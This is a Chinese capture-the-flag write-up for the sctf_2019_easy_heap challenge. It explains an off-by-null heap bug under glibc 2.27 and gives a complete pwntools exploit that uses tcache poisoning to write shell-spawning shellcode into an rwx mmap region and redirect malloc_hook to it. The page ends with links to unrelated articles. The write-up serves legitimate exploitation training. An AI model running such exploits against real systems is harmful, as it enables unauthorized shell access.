题目的例行检查我就不放了

将程序放入ida中

漏洞也较为明显

可以看到 if这里多一个null ,明显的off by null 漏洞

程序在最开始的地方给了我们一个很大的空间,并且权限是rwx,所以我们可以第一时间想到往这里填shellcode然后讲malloc_hook的值修改为mmap的地址

这道题还是看了一下网上师傅们的wp(没忍住。我的错)

首先我们第一次往mmap的地方填入shellcode的时候

tcachebins 形成了这样的结构

我们可以通过修改这个chunk的fd打到任意地址写的能力(下面的double free是往malloc_hook写mmap地址的时候用)

所以这道题的思路就是:首先我们先申请四个chunk

我们将chunk0释放掉,这样里面就有了main_arena+96的地址,然后我们通过修改chunk1的内容,将chunk2实现了向上合并,我们再将chunk0,chunk1申请回来

这样就形成了这样的结构

然后我通过释放掉chunk 3 chunk 1 chunk 2 从而获得了tcachebins的那种结构,然后我们在申请 chunk1回来,就可以修改mmap的内容了

完整exp如下

from pwn import *
context(arch='amd64',os='linux')
p = process('./sctf_2019_easy_heap')
#p = remote('node4.buuoj.cn','25848')
elf = ELF('./sctf_2019_easy_heap')
libc = ELF('libc-2.27.so') def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0]) def add(size):
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(size)) def edit(index,content):
p.sendlineafter('>> ','3')
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content) def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Index: ',str(index)) launch_gdb()
p.recvuntil('Mmap: 0x')
mmap = int(p.recv(10),16)
print('mmap-->'+hex(mmap)) add(0x410)
add(0x58)
add(0x500-0x10)
add(0x58) free(0)
edit(1,b'a'*0x50+p64(0x420+0x60))
free(2)
add(0x410)
add(0x58) free(3) free(1) free(2) add(0x58)
edit(1,p64(mmap)+b'\n')
shellcode = asm(shellcraft.sh())
add(0x58)
add(0x58)
edit(3,shellcode+b'\n') add(0x500-0x10)
free(0)
edit(1,b'a'*0x50+p64(0x60+0x420))
free(1)
free(4) add(0x410) edit(2,p8(0x30)+b'\n')
add(0x58)
add(0x58)
edit(4,p64(mmap)+b'\n')
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(0x1)) p.interactive()

sctf_2019_easy_heap(off-by-null在2.27的利用)的更多相关文章

  1. 【Android 界面效果27】利用ViewPager、Fragment、PagerTabStrip实现多页面滑动效果

    本文主要介绍如何利用ViewPager.Fragment.PagerTabStrip实现多页面滑动效果.即google play首页.新浪微博消息(at.评论.私信.广播)页面的效果.ViewPage ...

  2. 转载:oracle null处理

    (1)NULL的基础概念,NULL的操作的基本特点NULL是数据库中特有的数据类型,当一条记录的某个列为NULL,则表示这个列的值是未知的.是不确定的.既然是未知的,就有无数种的可能性.因此,NULL ...

  3. 聊一聊js中的null、undefined与NaN

    零.寒暄 翻翻自己的博客,上一篇竟然是六月26号的,说好的更新呢?回顾刚刚过去的这个七月,整天都是公司的入职培训加上自己的小论文,每天奋战到凌晨1点多,这是要挂的节奏啊!但是不论怎么说,自己的时间管理 ...

  4. null的数据类型

    Oracle的NULL代表的含义是不确定,那么不确定的东西也会有确定的数据类型吗?或者换个说法,NULL在Oracle中的默认数据类型是什么,下面就来探讨这个问题. 首先公布答案,NULL的默认类型是 ...

  5. Android 那些年,处理getActivity()为null的日子

    在日常开发中的时候,我们经常会使用ViewPager+Fragment进行视图滑动,在某些部分逻辑也许我们需要利用上下文Context(例如基本的Toast),但是由于Fragment只是衣服在Act ...

  6. ASP.NET Core的路由[3]:Router的创建者——RouteBuilder

    在<注册URL模式与HttpHandler的映射关系>演示的实例中,我们总是利用一个RouteBuilder对象来为RouterMiddleware中间件创建所需的Router对象,接下来 ...

  7. 从MySQL 5.5迁移到Mariadb 10.1.14

    从MySQL 5.5迁移到Mariadb 10.1.14 迁移计划如下: 1.备份MySQL 5.5的数据库,对指定库进行备份. 2.还原到Mariadb,然后建立复制. 3.然后就可以愿意啥时候切换 ...

  8. Java各种数据结构实现

    1.单向链表 实现思路:创建Node类,包括自己的数据和指向下一个:创建Node类,包括头尾节点,实现添加.删除.输出等功能. tips:n = n.next不破坏链表结果,而n.next = n.n ...

  9. Linux中find常见用法示例

    ·find   path   -option   [   -print ]   [ -exec   -ok   command ]   {} \; find命令的参数: pathname: find命 ...

随机推荐

  1. C#练习3

    using System; class Test { static void F(params int[]args) { Console.WriteLine("# of argument:{ ...

  2. [atARC103D]Robot Arms

    合法的必要条件是每个点两维坐标和奇偶性相同,同时这也是充分条件 令$d_{i}=\{2^{0},2^{1},...,2^{m-1}\}$,归纳其可以走到任意满足$|x|+|y|<2^{m}$的$ ...

  3. [luogu5616]恶魔之树

    记录$lcm$的质因子状态(包括大于$\sqrt 300$的质因子),设$f[s]$表示质因子状态为$s$的$lcm$之和,转移枚举当前的数$k$,转移到$lcm(s,k)$即可,时间复杂度为$o(n ...

  4. [bzoj4651]网格

    考虑将最上中最左的跳蚤孤立,容易发现他的上面和左面没有跳蚤,因此只需要将他的右边和下边替换掉就可以了答案为-1有两种情况:1.c>=n*m-1;2.c=n*m-2且这两只跳蚤相邻对于其他情况,将 ...

  5. 【Tool】IntelliJ 搭建Node.js环境

    IntelliJ IDEA 开发 Node.js 2019-07-29  14:12:34  by冲冲 1. 配置插件 在IDEA的 file -> setting -> Plugins, ...

  6. vue 事件监听和es6模板语法

    es6模板语法的反引号是通过左上角的飘字符弄出来了,学废了吗?

  7. 2021年春秋杯网络安全联赛秋季赛 勇者山峰部分wp

    1.签到题-Crypto Vigenere 根据题目Vigenere可看出是维吉尼亚密码 使用在线网站破解 https://guballa.de/vigenere-solver flag:53d613 ...

  8. 洛谷 P3214 - [HNOI2011]卡农(线性 dp)

    洛谷题面传送门 又是一道我不会的代码超短的题( 一开始想着用生成函数搞,结果怎么都搞不粗来/ll 首先不妨假设音阶之间存在顺序关系,最终答案除以 \(m!\) 即可. 本题个人认为一个比较亮的地方在于 ...

  9. HDU 6755 - Fibonacci Sum(二项式定理+推式子)

    题面传送门 其实是一道还好的题罢,虽然做了我 2147483647(bushi,其实是 1.5h),估计也只是因为 HDU 不支持数据下载所以错误总 debug 出来 首先看到 \(10^9+9\) ...

  10. 记一次VS2010和VS2015自定义颜色的过程

    首先,是遇到的问题: 一天,使用VS2010看新项目代码时候,发现选中某个变量后,其它位置高亮显示的变量颜色太淡,不利于阅读代码,如下图.所以想修改这个颜色. 后来网上找了一遍,可以这样设置:工具-- ...